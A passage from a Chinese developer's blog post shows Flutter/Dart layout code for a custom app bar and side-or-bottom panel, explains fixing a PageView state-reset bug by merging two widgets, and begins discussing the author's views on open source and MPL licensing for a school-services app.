class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e30\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eStack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignmentDirectional\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransparent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"m\"\u003e32\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eonSurfaceVariant\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewithOpacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里就是原先使用 AppBar 的地方,我这里被迫自己写了个类似的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"n\"\u003ekToolbarHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIconButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eicon:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003earrow_back\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etextTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitleLarge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eAlign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用 Align 来侦测这个组件在右面还是底下\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebottomCenter\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenterRight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 页面高度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"n\"\u003eradius\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003ePadding\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esymmetric\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehorizontal:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e15\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003evertical:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eextendBodyBehindAppBar:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ePreferredSize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epreferredSize:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ePreferredSize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epreferredSize:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekToolbarHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"pageview-组件使用\"\u003ePageView 组件使用\u003c/h4\u003e\n\u003cp\u003e还是跟组件状态玩命。\u003c/p\u003e\n\u003cp\u003e原先,我的首页是抄的 \u003ca class=\"link\" href=\"https://flutter.github.io/samples/material_3.html\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 的 M3 实例\u003c/a\u003e。这样我就可以在横屏幕时候使用左侧的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-rail/overview\" target=\"_blank\" rel=\"noopener\"\u003eNavigationRail\u003c/a\u003e,竖屏幕的时候使用底部的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-bar/overview\" target=\"_blank\" rel=\"noopener\"\u003eNavigationBar\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e那么,问题在哪?我原先写的组件,将横屏渲染和竖屏渲染函数给分开写了。结果就导致前几天我迁移首页四个卡片到 PageView 的时候,出现了横屏和竖屏切换时候,页面永远会刷新到第一页。一开始我看了好久的 StatefulWidget 的状态周期,我也没明白。最后我发现,我这是两个组件,每次刷新的时候都会重新绘制这两个组件。解决方法就是,将这两个组件合二为一,在一个组件里面渲染,使用 \u003ccode\u003eVisibility\u003c/code\u003e 组件按需隐藏。\u003c/p\u003e\n\u003ch2 id=\"关于开源的想法\"\u003e关于开源的想法\u003c/h2\u003e\n\u003cp\u003e我对软件,按照开源和开发者,这么看:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e个人开发的开源软件或半开源软件 \u0026gt; 集体开发的开源软件 \u0026gt; 个人开发的闭源软件 \u0026gt; 集体开发的半开源软件 \u0026gt; 集体开发的闭源软件\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e其中,半开源软件请参考 \u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/docs/Anti-Features/\" target=\"_blank\" rel=\"noopener\"\u003eFDroid 的负面特征定义\u003c/a\u003e。显然我的软件属于半开源软件,我这个软件实质上模拟了你在浏览器中,对学校后端的访问。\u003c/p\u003e\n\u003cp\u003e实际上软件的开源与否,并不重要,重要的是软件本身能不能很好用,而按照我的经验,软件的好用也可以这么排序,尤其是手机端应用()\u003c/p\u003e\n\u003cp\u003e所以,我虽然经常说开源很重要,但这个实际上是因为我认为个人开发者的产品更好而导致的。而开源软件放前面,是因为代码开放让人用着更舒服,可能我长期用 Linux 留下来的某种遗留症状。而且我某种意义上,真的不喜欢封闭的东西,虽然我发现大家都喜欢。\u003c/p\u003e\n\u003cp\u003e而为啥我要将这个软件按照 MPL 授权,是因为我的软件有很多可以复用的东西,比如上面我大幅度提到的课程表和那个 BothSide 。这些复用的东西我将来是打算做成程序内的 package,如果按照 GPL ,不利于传播。而我目前程序状态,如果使用 MIT 